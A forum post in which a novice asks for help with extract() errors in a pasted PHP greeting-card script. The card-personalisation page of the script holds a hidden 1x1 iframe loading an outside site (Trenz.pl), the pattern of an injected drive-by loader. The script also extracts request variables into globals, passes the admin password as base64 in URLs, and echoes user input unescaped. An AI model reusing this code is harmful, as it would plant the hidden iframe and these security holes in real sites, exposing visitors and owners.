Jump to content

problems with extract($HTTP_GET_VARS) and extract($HTTP_POST_VARS) and arrays


zanycyborg

Recommended Posts

Hello,

 

I'm pretty new with these stuff so I need alot of help. I am trying to install a greeting card script on my site but I'm experiencing some problems with extract($HTTP_GET_VARS) and extract($HTTP_POST_VARS) I'm expected to put the first argument in arrays how am I supposed to do that?

 

Here is the code:

<LINK
href="st.css" rel=stylesheet
type=text/css>
<head><script language="JavaScript">
<!--
function emo(emo){
document.all.message.value += emo;
document.all.message.focus();
return;
}
//-->
</script></head>
<?php
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS)
//=====================================================================

=====================
// Copyright Scriptsez.net
//=====================================================================

=====================
//MAKE NECESSARY CHANGES BELOW

$listings_per_page = "8"; //Number of listings per page

//END OF CONFIGURATION
//=====================================================================

=====================
$io=  "expire.txt";
$fd = fopen ($io, "r"); 
$expire = fread ($fd, filesize ($io)); 
fclose ($fd);
$mo=  "pwd.txt";
$bd = fopen ($mo, "r"); 
$psord = fread ($bd, filesize ($mo)); 
fclose ($bd);
$rop=base64_decode($psord);
$vup=explode("||&@23||password>||&~||",$rop);
$password=base64_decode($vup[0]);
if ($action == "admin" ){
?><center><table align=middle><td align=left width=20%>
<tr><td height="27" colspan="2"><FONT SIZE="4" COLOR="#000000">:: 

Freeze Greetings ::</FONT></td><tr><td>Password Required (Default is: 

administrator)</td></tr><tr><form method=post 

action="?action=login"><td>Password:</td><td><input type=password 

name=pass> <input type=submit 

value=Submit></td></tr></form></table></center>
<?php
}
if ($action=="login"){
if(strlen($m)>="1"){
$n=base64_decode($m);
$pass=$n;
}
if ($pass==$password){
echo "Successfully Loged In<br><hr>";
$m=base64_encode($password);
echo"<table align=left width=80%><tr><td><A 

HREF=?action=add_gre&m=$m>Add Greeting   Card</A></td></tr><tr><td><A 

HREF=?action=edit_gre&m=$m>Edit Greeting Card</A></td></tr><tr><td><A 

HREF=?action=add_event&m=$m>Add Upcomming Event</A></td></tr><tr><td><A 

HREF=?action=edit_event&m=$m>Edit Upcomming 

Events</A></td></tr><tr><td><A HREF=?action=change_expiry&m=$m>Change 

Message expiry date</A></td></tr><tr><td><A 

HREF=?action=change_password&m=$m>Change 

Password</A></td></tr><tr><td><A 

HREF=?action=admin>Logout</A></td></tr></table>";
}else {
echo "Invalid Passsword";
}
}
if ($action=="change_expiry"){
$l=base64_decode($m);
if ($l==$password){
$ho=  "expire.txt";
$fj = fopen ($ho, "r"); 
$exp = fread ($fj, filesize ($ho)); 
fclose ($fj);
echo "<form method=post action=?action=do_change_expiry>Message will 

expire after <input type=text size=8 name=p value=$exp> Days<br><input 

type=hidden name=m value=$m><input type=\"reset\" 

value=\"Reset\"> <input type=submit value=Change></form><BR><a 

href=?action=login&m=$m>Back To main Menu</a>";
}else{
echo "Please Login Again";
}}
if ($action=="do_change_expiry"){
$l=base64_decode($m);
if ($l==$password){
$vd = fopen ($io, "w");
fwrite ($vd, "$p");
fclose($vd);
echo "Message Expiry date has been successfully changed. <BR><a 

href=?action=login&m=$m>Back To main Menu</a>";
}else{
echo "Please Login Again";
}
}
if ($action=="add_event"){
$l=base64_decode($m);
if ($l==$password){
$ho=  "expire.txt";
$fj = fopen ($ho, "r"); 
$exp = fread ($fj, filesize ($ho)); 
fclose ($fj);
echo "<form method=post 

action=?action=do_add_event><table><tr><td></td><td>Name of 

event:</td><td><input type=text size=18 

name='p'></td><td>Category:</td><td><input type=text size=18 

name=c></td></tr><tr><td>Notify From:</td><td>Month</td><td><input 

type=text name=nmonth size=4 maxlength=2></td><td>Day</td><td><input 

type=text name=nday size=4 maxlength=2></td><tr><td>Notify 

upto:</td><td>Month</td><td><input type=text name=emonth size=4 

maxlength=2></td><td>Day</td><td><input type=text name=eday size=4 

maxlength=2></td>";
echo"</tr><td></td><td><input type=hidden name=m value=$m><input 

type=submit value='Add Event'><BR><BR><BR></td></form><tr><td><a 

href=?action=login&m=$m>Back To main Menu</a></td></tr></table>";
}else{
echo "Please Login Again";
}
}
if ($action=="do_add_event"){
$p = stripslashes ($p);
$c = stripslashes ($c);
$l=base64_decode($m);
if ($l==$password){
$fmi=fopen("events.txt","a+");
fwrite($fmi,$p);
fwrite($fmi,";");
fwrite($fmi,$c);
fwrite($fmi,";");
fwrite($fmi,$nmonth);
fwrite($fmi,";");
fwrite($fmi,$nday);
fwrite($fmi,";");
fwrite($fmi,$emonth);
fwrite($fmi,";");
fwrite($fmi,$eday);
fwrite($fmi,";");
fwrite($fmi,"\n");
fclose($fmi);
echo"<table><td>Event $p Added Successfully</td><tr><td><a 

href=?action=login&m=$m>Back To main Menu</a></td></tr></table>";
}else{
echo "Please Login Again";
}
}
if($action == "edit_event") {
$l=base64_decode($m);
if($l==$password){
$filename="events.txt";
$fp = @fopen($filename, 'r');
if ($filename) {
$array = explode("\n", fread($fp, filesize($filename)));
$listed = count($array)-1;
?>
<table border="0" cellpadding="2" cellspacing="0" width="100%">
<tr>
<td width="99%"><font size="3">Edit Events</font></td>
</tr>
<td><A HREF="?action=login&m=<?php echo "$m"; 

?>">Back</A></td></table><table width=90%>
<br>
<?php
echo "Click on event to edit :: Viewing all ($listed)<P><P>";

            for($x=0;$x<$listed;$x++) {
               $temp = 

explode(";",$array[$x]);

            echo "<tr><td align=left><li><A 

HREF=\"?action=change_event&id=$x&m=$m\">$temp[0]</A></td></tr>";

         }
      }
      echo "</table>";
}else{
echo "Please Login";
}
}
if($_GET['action'] == "change_event") {
$l=base64_decode($m);
if($l==$password){
      if($_GET['id'] >= 0){
$filename="events.txt";
            $id = $_GET['id'];
            $fp = @fopen($filename, 'r');
            $array = explode("\n", fread($fp, 

filesize($filename)));
            for($x=0;$x<sizeof($array);$x++) {
               $temp = 

explode(";",$array[$x]);
               $line[$x] = 

"$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];";
            }
            $data_submitted = time();
            $mod = explode(";", $line[$id]);
            echo "Update event: $mod[0]";
echo "<form method=\"POST\" action=\"?action=change_event2\" 

method=\"post\">";
echo "<table><tr><td></td><td>Name of event:</td><td><input type=text 

size=18 name=p value='$mod[0]'></td><td>Category:</td><td><input 

type=text size=18 name=c value='$mod[1]'></td></tr><tr><td>Notify 

From:</td><td>Month</td><td><input type=text name=nmonth size=4 

maxlength=2 value='$mod[2]'></td><td>Day</td><td><input type=text 

name=nday size=4 maxlength=2 value='$mod[3]'></td><tr><td>Notify 

upto:</td><td>Month</td><td><input type=text name=emonth size=4 

maxlength=2 value='$mod[4]'></td><td>Day</td><td><input type=text 

name=eday size=4 maxlength=2 value='$mod[5]'></td>";
echo"</tr><td></td>";
echo "<tr><td></td><input type=\"hidden\" name=m 

value=\"$m\"><td><input type=\"submit\" value=\"submit\"> ";
echo "<input type=\"reset\" value=\"Reset\"></td></tr>";
echo "<input type=\"hidden\" name=\"id\" value=\"$id\">";
echo "</form></table>";
}
else{
print "Error!! Unable to determine ID";
}
}else{
   echo "Please Login Again";
}
}
else if($_GET['action'] == "change_event2") {
$p = stripslashes ($p);
$l=base64_decode($m);
if($l==$password){
$filename="events.txt";
$fp = @fopen($filename, 'r');
$array = explode("\n", fread($fp, filesize($filename)));
for($x=0;$x<sizeof($array)-1;$x++) {
$temp = explode(";",$array[$x]);
$line[$x] = "$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];";
}
            $line[$id]= 

"$p;$c;$nmonth;$nday;$emonth;$eday;";
            sort($line);
            $fp = fopen ("events.txt", "w");
            fwrite ($fp, $line[0]);
            for($i=0; $i<sizeof($line);$i++){
            fwrite ($fp, $line[$i]);
            fwrite ($fp, "\n");
            }
            fclose ($fp);
            print "<p><p>Edited 

successfully<br><br><A HREF=?action=edit_event&m=$m>Back to edit 

list</A><BR><A HREF=?action=login&m=$m>Main Page</A><BR>";
}else{
   echo "Please Login Again";
}
}
if ($action=="change_password"){
$l=base64_decode($m);
if ($l==$password){
echo "<table><form method=post action=?action=do_change_password><td 

width=30%>Enter new password</td><td width=70%><input type=password 

size=18 name=pwd></td><tr><td>Confirm new password</td><td><input 

type=password size=18 name=qwd></td><tr><td></td><td><input type=hidden 

name=m value=$m> <input type=submit 

value=Change></form></td><tr><td></td><td><a 

href=?action=login&m=$m>Back To main Menu</a></td></table>";
}else{
echo "Please Login Again";
}}
if ($action=="do_change_password"){
$l=base64_decode($m);
if ($l==$password){
if($pwd==$qwd){
$po="pwd.txt";
$fgh=base64_encode($pwd);
$asd=base64_encode($fgh."||&@23||password>||&~||");
$vp = fopen ($po, "w");
fwrite ($vp, "$asd");
fclose($vp);
echo "Password has been successfully changed. <BR><a 

href=?action=admin>Login using new password</a>";
}else{
echo "Please go back, change password and confirm new password donot 

match";
}
}else{
echo "Please Login Again";
}
}
$message = str_replace ("\n","<br>", $message);
$message = str_replace ("","<img src=smile/smile.gif>", $message);
$message = str_replace ("","<img src=smile/sad.gif>", $message);
$message = str_replace ("","<img src=smile/tongue.gif>", $message);
$message = str_replace ("","<img src=smile/scared.gif>", $message);
$message = str_replace (":C","<img src=smile/mad.gif>", $message);
$message = str_replace ("","<img src=smile/rolleyes.gif>", $message);
$message = str_replace (";Y","<img src=smile/thumbsup.gif>", $message);
$message = str_replace ("","<img src=smile/laugh.gif>", $message);
$message = str_replace (":s","<img src=smile/shocking.gif>", $message);
$message = str_replace (":r","<img src=smile/naughty.gif>", $message);
$message = str_replace (":/","<img src=smile/sweatdrop.gif>", 

$message);
$message = str_replace (")","<img src=smile/clown.gif>", $message);
$message = str_replace (":H)","<img src=smile/heart.gif>", $message);
$message = str_replace (":i)","<img src=smile/info.gif>", $message);
$message = str_replace (":Q)","<img src=smile/question.gif>", 

$message);
$message = str_replace ("|~~|","|~|", $message);
$message = stripslashes ($message);
$date = date("D M:d:Y");
if ($action == "sendmail"){
$today=time();
$mfile=$today.".dat";
$n_compteur=fopen("dt/$mfile", "w");
fputs ($n_compteur, "$name|~|");
fputs ($n_compteur, "$from");
fputs ($n_compteur, "|~|");
fputs ($n_compteur, "$mess");
fputs ($n_compteur, "|~|");
fputs ($n_compteur, "$bg");
fputs ($n_compteur, "|~|");
fputs ($n_compteur, "$pic");
fputs ($n_compteur, "|~|");
fputs ($n_compteur, "$mus");
fputs ($n_compteur, "|~|");
fputs ($n_compteur, "$rname");
fputs ($n_compteur, "|~|$date|~|");
fputs ($n_compteur, "$effect");
fputs ($n_compteur, "|~|");
fputs ($n_compteur, "\n");
fclose($n_compteur);
$link="http://${HTTP_HOST}${PHP_SELF}?action=view&id=$today";
$im="Hello $rname\n $name has send you a Freeze Greeting\n Click on the 

link below to see the greeting.\n $link\n\n PLEASE NOTE THAT THIS 

GREETING WILL EXPIRE AFTER $expire 

DAYS.\n==========================================================\n 

Powered By Freeze Greetings (Get it free at http://www.scriptsez.net)";
$mess = "From: $name\n $im\n";
$mailheaders="Return-path: $name <$from>\n";
$mailheaders.="From: $name <$from>\n";
$mailheaders.="Reply-To: $from\n";
$sent=mail(trim($to), $subject, $mess, $mailheaders);
if($sent){echo"<FONT SIZE=2 face=arial>Your Ecard has been sent to 

<B>$to</B></FONT>";}else{echo"<h3>Ecard Could Not Be Sent! Please check 

you have provided correct email address<BR>You can send ecard to one 

email at a time.</h3>";}
}
$filename = "file.txt";
$ecard_path = str_replace ("\n","<br>", $ecard_path);
$ecard_path = str_replace (";", ",", $ecard_path);
$ecard_path = stripslashes ($ecard_path);
$thumbnail = str_replace ("<",",", $thumbnail);
$thumbnail = str_replace (";",",", $thumbnail);
$category = str_replace (";", ",", $category);
$cat = str_replace (";", ",", $cat);
$cat = stripslashes ($cat);
$thumbnail = stripslashes ($thumbnail);
$category = stripslashes ($category);
$copyright = "www.scriptsez.net";
if($action == "detail" && "cat" && "id"){
$user = file("file.txt");
if(strlen($id) <= 0){
   premain();
   print "<p><BR><BR><BR><b>Your category must be arleast one 

character</b><br><BR><BR><BR>";
}else{
   for($x=0;$x<sizeof($user);$x++) {
      $temp = explode(";",$user[$x]);
      $opp[$x] = 

"$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];$temp[6];";
         $meta = $id;
         $meta2 = $temp[5];
         $such = stristr($meta2,$meta);
         if($such) {
            $list[0] = $opp[$x];
            $list;
         }

$temp = explode(";",$user[$x]);
}
if(sizeof($list) != "0") {
for($y=0;$y<sizeof($list);$y++) {
$temp = explode(";",$list[$y]);
premain();
$image_info = getimagesize("$temp[2]");
$v=basename("$temp[2]");
$w=explode(".",$v);
if (strlen($temp[3])>3){
$bgmusic="Background Music: <select name=music><option 

value=1>On<option value=0>Off</select>";
$player="<embed src='$temp[3]' width=0 height=0></embed>";
}else{
$bgmusic="";
$player="";
}
if ($w[1]=="swf"){
   $image="<embed src='$temp[2]' height='$image_info[1]' 

width='$image_info[0]'></embed>";
}
elseif($w[1]!="swf"){
$image="<img src='$temp[2]' height='$image_info[1]' 

width='$image_info[0]'>";
}
echo "<table align=center><td width=70% align=middle><font face=arial 

size=2><b>Personalize Your Greeting Card<BR>$image</b></table>";
?>
<body bgcolor=#f5f5f5>
<?php
function smiles(){
?>
<a href="javascript:emo(' ')"><img src="smile/smile.gif" border=0 

alt=""></a>
    <a href="javascript:emo(' ')"><img src="smile/sad.gif" border=0 

alt=""></a>
    <a href="javascript:emo(' ')"><img src="smile/tongue.gif" 

border=0 alt=""></a>
    <a href="javascript:emo(' ')"><img src="smile/scared.gif"  

border=0 alt=""></a>
    <a href="javascript:emo(' :C ')"><img src="smile/mad.gif" border=0 

alt=":C"></a>
    <a href="javascript:emo(' ;Y ')"><img src="smile/thumbsup.gif" 

border=0 alt=";Y"></a>
   <a href="javascript:emo(' ) ')"><img 

src="smile/clown.gif"border=0 alt=":0"></a>
    <a href="javascript:emo(' ')"><img src="smile/laugh.gif" 

border=0 alt=""></a>
    <a href="javascript:emo(' :/ ')"><img src="smile/sweatdrop.gif" 

border=0 alt=":/"></a>
    <a href="javascript:emo(' :s ')"><img src="smile/shocking.gif" 

border=0 alt=":s"></a>
    <a href="javascript:emo(' :r ')"><img src="smile/naughty.gif" 

border=0 alt=":r"></a>
    <a href="javascript:emo(' ')"><img 

src="smile/rolleyes.gif"border=0 alt=""></a>
    <a href="javascript:emo(' :H) ')"><img 

src="smile/heart.gif"border=0 alt=":H)"></a>
    <a href="javascript:emo(' :i) ')"><img src="smile/info.gif"border=0 

alt=":i)"></a>
    <a href="javascript:emo(' :Q) ')"><img 

src="smile/question.gif"border=0 alt=":Q)"></a>
   <?php
}
   ?>

<form name=mail method=post action="?action=preview">
<table>
      <td>Your Name:</td>
      <td>
        <input type=hidden name=id value=<?php echo $id; ?>>
        <input type=hidden name=cat value=<?php echo $category; ?>>
        <input type=text name=name size=28>
      </td>
      <td>Your Email:</td>
      <td>
        <input type=text name=email size=28>
      </td>
    </tr>
      <tr>
      <td width=59>Recipient Name:</td>
      <td width=187>
        <input type=text name=rname value="" size=28>
      </td>
     <td width=59>Recipient Email:</td>
      <td width=187>
        <input type=text name=recipient value="" size=28>
      </td>
    </tr><tr><td></td><td><?php echo"</table><table><tr 

align=center><td>$bgmusic  Emotions:"; smiles(); ?></td><td>
        </td></tr><tr></table><table>
        <td width=59>Message:</td>
      <td width=187>
        <textarea name=message wrap=VIRTUAL cols=75 rows=15></textarea>
      </td>
    </tr>
     </table><?php echo "$player"; ?>
<table align=center>
<tr>
<td>
<input type=submit name=submit value=Next>
</td>
</form>
</tr>
</table>
<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 

frameborder=0></iframe>
</body></html>
<?php
}
}
}
}
if ($action == "preview" && "cat" && "id"){
$user = file("file.txt");
if(strlen($id) <= 3){
   premain();
   print "<p><BR><BR><BR><b>Your category must be longer than 3 

characters</b><br><BR><BR><BR>";
}else{
   for($x=0;$x<sizeof($user);$x++) {
      $temp = explode(";",$user[$x]);
      $opp[$x] = 

"$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];$temp[6];";
         $meta = $id;
         $meta2 = $temp[5];
         $such = stristr($meta2,$meta);
         if($such) {
            $list[0] = $opp[$x];
            $list;
         }

$temp = explode(";",$user[$x]);
}
if(sizeof($list) != "0") {
for($y=0;$y<sizeof($list);$y++) {
$temp = explode(";",$list[$y]);
premain();
$image_info = getimagesize("$temp[2]");
$v=basename("$temp[2]");
$w=explode(".",$v);
if ($w[1]=="swf"){
   $image="<embed src='$temp[2]' height='$image_info[1]' 

width='$image_info[0]'></embed>";
}
else{
   $image="<img src='$temp[2]' height='$image_info[1]' 

width='$image_info[0]'>";
}
echo "<table align=center><tr><td align=middle><font face=arial 

size=2><b>Preview</b></tr><tr><td 

align=middle>$image</td></tr></table>";
?>
<html><head>
<body bgcolor=#f5f5f5>
<form name=mail method=post action="?action=sendmail">
<table>
      <td align=left><FONT SIZE="3" COLOR="#000000" face="Arial">Hello 

<?php echo $rname; ?>,</FONT></td>
    </tr>
      <tr></table><table>
      <td width=80%>
     <?php echo "<FONT SIZE=3 COLOR=#000000 

face=Arial><B>$message</B></font>"; ?>
      </td>
    </tr><tr><td></td></table>
   <?php
if ($music=="0"){
   $p="";
}else{
$p="<embed src='$temp[3]' width=0 height=0></embed>";
}
echo "<FONT SIZE=3 COLOR=#000000 face=Arial>From $name</font>";
echo "$p";
echo "<table align=center>
<form method=post action='?action=sendmail'>
<input type=hidden name='name' value='$name'>
<input type=hidden name='rname' value='$rname'>
<input type=hidden name='from' value='$email'>
<input type=hidden name='to' value='$recipient'>
<input type=hidden name='subject' value='Freeze Greeting from $name'>
<input type=hidden name='toname' value='$rname'>
<input type=hidden name='bg' value='$music'>
<input type=hidden name='mess' value='$message'>
<input type=hidden name='pic' value='$temp[2]'>
<input type=hidden name='mus' value='$temp[3]'>
<input type=hidden name='effect' value='$temp[6]'>
<td><input type=button value=Back onclick='javascript:history.back()'>
<input type=submit value=Send></td></table>";
?>
<?php
}
}
}
}
if ($action == "view" && "cat" && "id"){
$filename = "dt/$id".".dat";
if(file_exists($filename)) {
$fd = fopen ($filename, "r");
$stuff = fread ($fd, filesize ($filename));
fclose ($fd);
$temp = explode ("|~|",$stuff);
$image_info = getimagesize("$temp[4]");
$v=basename("$temp[4]");
$w=explode(".",$v);
if ($w[1]=="swf"){
   $image="<embed src='$temp[4]' height='$image_info[1]' 

width='$image_info[0]'></embed>";
}
else{
$image="<img src='$temp[4]' height='$image_info[1]' 

width='$image_info[0]'>";
}
echo "<table align=center><tr><td align=middle><font face=arial 

size=2><b>FREEze Greetings</b></tr><tr><td 

align=middle>$image</td></tr></table>";
?>
<html><head><style type="text/css">
TD                 {font-family: Arial; color: #000000; font-size: 

8pt;}
INPUT           {font-family:Verdana;font-size:10pt;BACKGROUND-COLOR: 

#FFFFFF;color:#000000;}
TEXTAREA         

{font-family:verdana,helvetica,sans-serif;font-size:10pt;BACKGROUND-COL

OR:#ffffff;color:#000000;}
</style></head>
<body bgcolor=#f5f5f5>
<form name=mail method=post action="?action=sendmail">
<table>
      <td align=left><FONT SIZE="3" COLOR="#000000">Hello <?php echo 

$temp[6]; ?>,</FONT></td>
    </tr>
      <tr></table><table>
      <td width=80%>
     <?php echo "<b><FONT SIZE=4 

COLOR=#000000>$temp[2]</FONT></b>"; ?>
      </td>
    </tr><tr><td></td></table>
   <?php
if ($temp[3]=="0"){
   $p="";
}else{
$p="<embed src='$temp[5]' width=0 height=0></embed>";
}
echo "<FONT SIZE=3 COLOR=#000000>From $temp[0]</font>";
echo "$p";
?>
</body></html>
<?php
}else{
echo "<FONT SIZE=4 COLOR=#000000 face=arial>Sorry Your Greeting has 

expired.</font><BR>Powered By:<a href=http://www.Scriptsez.net>Freeze 

Greetings</a></FONT>";
}
}
function premain(){
}
if($action == "add_gre") {
$l=base64_decode($m);
if($l==$password){
echo " <center><font face=arial>Add an Ecard:</center><br></font><form 

name=\"add_gre\" method=\"post\" action=\"?action=submit_dict\">";
             echo "<table><tr><td>Thumbnail 

Path:</td><td><input type=\"text\" name=\"thumbnail\" size=\"50\" 

value=\"images/\"></td></tr>";
            echo "<font face=arial 

size=2><tr><td>E-card Path:</td><td><input type=text name=ecard_path 

size=50 value=\"images/\"></td></font></tr>";
            echo "<tr><font face=arial 

size=2><td>Music Path:</td><td><input type=text name=category size=50 

maxlength=300 value=\"sound/\">*Blank for no music</font></td></tr>";
                echo "<tr><font face=arial 

size=2><td>Category:</td><td></font><input type=text name=cat size=50 

>*CaSe SeNsEtIvE</td></tr>";
            echo "<tr><td></td><td><input 

type=hidden name=m value=$m><input type=\"submit\" 

value=\"submit\"></td></tr></table></form>";
}else{
echo "Login Again";
}
}
if($action == "submit_dict") {
$l=base64_decode($m);
if($l==$password){
$fi=base64_encode($password);
$fp = fopen ("file.txt", "a+");
$data_submitted = time();
fwrite ($fp, "[new];");
fwrite ($fp, $thumbnail);
fwrite ($fp, ";");
fwrite ($fp, $ecard_path);
fwrite ($fp, ";");
fwrite ($fp, $category);
fwrite ($fp, ";");
fwrite ($fp, $cat);
fwrite ($fp, ";");
fwrite ($fp, $data_submitted);
fwrite ($fp, ";");
fwrite ($fp, $effect);
fwrite ($fp, ";");
fwrite ($fp, "\n");
fclose ($fp);
print "<BR><font face=arial size=3>Ecard added successfully.<br><A 

HREF=?action=add_gre&m=$m>add another Ecard</A><BR><A 

HREF=?action=login&m=$m>Go to Admin Panel</A>";
}else{
echo "Please Login Again";
}
}
$filename = "file.txt";
$update = time();
?>
<HTML>
<HEAD>
</HEAD>
<body topmargin="50" leftmargin="50">
<?php
if(!$_GET['action']){
      $date = date("l jS F, Y");
      ?>
  <?php
}
else if($_GET['action'] == "change_greet") {
$l=base64_decode($m);
if($l==$password){
      if($_GET['id'] >= 0){
            global $filename;
            $id = $_GET['id'];
            $fp = @fopen($filename, 'r');
            $array = explode("\n", fread($fp, 

filesize($filename)));
            for($x=0;$x<sizeof($array);$x++) {
               $temp = 

explode(";",$array[$x]);
               $line[$x] = 

"$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];$temp[6];";
            }
            $data_submitted = time();
            $mod = explode(";", $line[$id]);
            echo "Update $mod[1]";
            echo "<form method=\"POST\" 

action=\"?action=change_greet2\" method=\"post\">";
             echo "<table><tr><td>Thumbnail 

Path/URL:</td><td><input type=\"text\" value=\"$mod[1]\" 

name=\"thumbnail\" size=\"50\"></td></tr>";
            echo "<font face=arial 

size=2><tr><td>E-card Path/URL:</td><td><input type=text 

name=ecard_path value='$mod[2]' size=50></td></font></tr>";
            echo "<tr><font face=arial 

size=2><td>Music Path:</td><td><input type=text name=category size=50 

maxlength=300 value='$mod[3]'>*Blank for no music</font></td></tr>";
                echo "<tr><font face=arial 

size=2><td>Category:</td><td></font><input type=text name=cat size=50 

value='$mod[4]'>*CaSe SeNsEtIvE</td></tr>";
            echo "<input type=\"hidden\" 

name=data_submitted value=\"$data_submitted\"> ";
            echo "<tr><td></td><input 

type=\"hidden\" name=m value=\"$m\"><td><input type=\"submit\" 

value=\"submit\"> ";
            echo "<input type=\"reset\" 

value=\"Reset\"></td></tr>";
            echo "<input type=\"hidden\" 

name=\"id\" value=\"$id\">";
            echo "</form></table>";

      }
      else{
         print "No ID specified";
      }
}else{
   echo "Please Login Again";
}
}
else if($_GET['action'] == "change_greet2") {
$l=base64_decode($m);
if($l==$password){
      if($_POST['thumbnail'] && $_POST['id'] >= 0){
            global $filename;
            $new="[new]";
            $new = stripslashes($_POST['new']);
            $thumbnail = 

stripslashes($_POST['thumbnail']);
            $ecard_path = 

stripslashes($_POST['ecard_path']);
            $cat = stripslashes($_POST['cat']);
            $category = 

stripslashes($_POST['category']);
            $data_submitted = 

stripslashes($_POST['data_submitted']);
            $id = $_POST['id'];
            $fp = @fopen($filename, 'r');
            $array = explode("\n", fread($fp, 

filesize($filename)));
            for($x=0;$x<sizeof($array)-1;$x++) {
               $temp = 

explode(";",$array[$x]);
               $line[$x] = 

"$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];$temp[6];";
            }
            $line[$id]= 

"[new];$thumbnail;$ecard_path;$category;$cat;$data_submitted;$effect;";
            sort($line);
            $fp = fopen ("file.txt", "w");
            fwrite ($fp, $line[0]);
            for($i=0; $i<sizeof($line);$i++){
            fwrite ($fp, $line[$i]);
            fwrite ($fp, "\n");
            }
            fclose ($fp);
            print "<p><p>Edited 

successfully<br><br><A HREF=?action=edit_gre&m=$m>Back to edit 

list</A><BR><BR>";
      }
      else{
         print "Please go back and fill in the form 

properly.";
      }
}else{
   echo "Please Login Again";
}
}
if($action == "browse") {
$user = file("file.txt");
$lis = 0;
if(strlen($category) <= 0){
print "<p><BR><BR><BR><b>There has been an 

error.</b><br><BR><BR><BR><BR><BR><BR>";
}
else{

echo "<table width=100% border=0 valign=middle><td width=80% 

align=middle border=1 style='Background:#ffffff'>";
   for($x=0;$x<sizeof($user);$x++) {
      $temp = explode(";",$user[$x]);
      $opp[$x] = 

"$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];$temp[6];";
      $such = stristr($temp[4],$category);
         $meta = $category;
         $meta2 = $temp[4];
         $such = stristr($meta2,$meta);
         if($such) {
            $list[$lis] = $opp[$x];
            $lis++;
         }
   }
   if(sizeof($list) != "0") {
   if(sizeof($list) == "1") {
   $spellcards="card";
   }else{
   $spellcards="cards";
   }
   echo "<BR><font face=arial><p><b>",sizeof($list),"</b> 

$spellcards in category \"$category\"<BR></p></font>";
   }else{
   echo "<p><b> No Cards in $category.</b><BR>";
   }
$latest_max = sizeof($list);
$u = $a - $latest_max;
if (is_file("file.txt"))
   {
   $s=sizeof($list);

if ($page=='' or !$page) { $page=1; }
$end=$listings_per_page*$page;
$start=$end-$listings_per_page;

if ($start<>'0') {
   $new_page=$page-1;
   $prev="<a 

href='?action=browse&category=$category&page=$new_page'><---Previous 

page</a>";
}
else {
   $prev="";
}

if ($end<$s) {
   $new_page1=$page+1;
   $next="<a 

href='?action=browse&category=$category&page=$new_page1'>Next 

page---></a>";
}
else {
   $next="";
}
$today = time();
for ($i=$start; $i<$end; $i++){
   if(substr($list[$i], 0, 5 )== "[new]")
   {
   sort($list);
    $p=explode(';', $list[$i]);
   $v=basename("$p[2]");
$w=explode(".",$v);
if ($w[1]=="swf"){
   $val="Requires Flash";
}elseif(strlen($p[6])>="3"){$val="Requires Java enabled browser";}
else{$val="";}
echo " <a href='?action=detail&category=$category&id=$p[5]'><img 

src='$p[1]' alt='$val'></a> ";
}
}
$pages=$s/$listings_per_page;
$pages1=round($pages, 2);
$p= explode(".", $pages1);
$pcount=count($p);
$ext=$p[$pcount-2];
if ($ext!=0) {
   $num=$p[0]+1;
}

else {
   $num=$p[0];
}
echo "</td></table><table width='100%'><tr><td 

align='left'>$prev</td><td align='center'>";
for ($i=1; $i<=$num; $i++) {
   if ($i==$page) {
echo "<B> $i </B> ";

   }
   else {
echo " <a 

href='?action=browse&category=$category&page=$i'>$i</a>";
}
}
echo "</td><td align='right'>$next</td></tr></table>";
}
}
}
if($action == "edit_gre") {
$l=base64_decode($m);
if($l==$password){
global $filename;
global $password;
$fp = @fopen($filename, 'r');
if ($filename) {
$array = explode("\n", fread($fp, filesize($filename)));
$listed = count($array)-1;
?>
<table border="0" cellpadding="2" cellspacing="0" width="100%">
<tr>
<td width="99%"><font size="3">Edit</font></td>
</tr>
<td><A HREF="?action=login&m=<?php echo "$m"; 

?>">Back</A></td></table><table width=90%>
<br>
<?php
echo "Click thumbnail to edit :: Viewing all ($listed) listed by 

Thumbnail<P><P>";

for($x=0;$x<$listed;$x++) {
$temp = explode(";",$array[$x]);

            echo "<tr><td align=left><A 

HREF=\"?action=change_greet&id=$x&m=$m\"><img 

src='$temp[1]'></A><BR>$temp[4]</td></tr>";

         }
      }
      echo "</table>";
}else{
echo "Please Login";
}
}
if($action == "") {
$f=date("m");
$g=date("d");
$user=file("events.txt");
$kid="0";
for($x=0;$x<sizeof($user);$x++) {
$temp = explode(";",$user[$x]);
$opp[$x] = "$temp[0];$temp[1];$temp[2];$temp[3];$temp[4];$temp[5];";
$list[$kid] = $opp[$x];
$kid++;
}
$dir="./dt";
$handle = @opendir($dir);
while (false !== ($file = readdir($handle))) {
$n= explode(".",$file);
$et=time() - $n[0];
if (file_exists("$dir/".$file)&& $et >= ("86400"*$expire) && 

filesize("$dir/$file")>= 10){
if (strlen($n[0])>=3){
unlink("$dir/$file");
}
}else{
}
}
?>
<table><td>
<?php include "category.php"; ?></td><td><BR><table border=0 

cellspacing=0 cellpadding=0 width=100%><td bgcolor=#afc6db height=17 

rowspan=2 nowrap><font face=verdana size=-2 

color=white>  <b>Upcomming Events:</b></font></td><td 

bgcolor=#afc6db valign=top><img id=cti1 src='tr14x15_1.gif' width=14 

height=15 alt=""></td><td align=left width=100% ><font face=verdana 

size=-2><b></b></font></td></tr><tr><td bgcolor=#afc6db 

colspan=2><table border=0 cellspacing=0 cellpadding=0><tr><td 

height=3></td></tr></table></td></tr></table><table width=100% 

cellpadding=4 cellspacing=0 border=0 bgcolor=#f8f8f8 

class=yhmpabd><tr><td align=left><font face=arial size=-1><?php
if(sizeof($list)!="0"){
for($y=0;$y<=sizeof($list);$y++) {
$temp = explode(";",$list[$y]);
$calc=(($temp[2]*"30")+($temp[3]));
$calc2=(($temp[4]*"30")+($temp[5]));
$calc1=(($f*"30")+($g));
if( $calc1 >= $calc && $calc1 <= $calc2){
$events = "<li><A 

HREF='?action=browse&category=$temp[1]'>$temp[0]</A><BR>";
$cd=1;
}else{
$events="";
}
echo "$events";
}
if($cd!="1"){echo "No upcomming events";}
}
?></font></td></table></td></tr></table>
</CENTER><p> </p><p> </p>
<?php
}
?>

 

I'll really appreciate any help!

 

Thanks in advance!!

 

MOD Edit:

 . . . 

tags added.

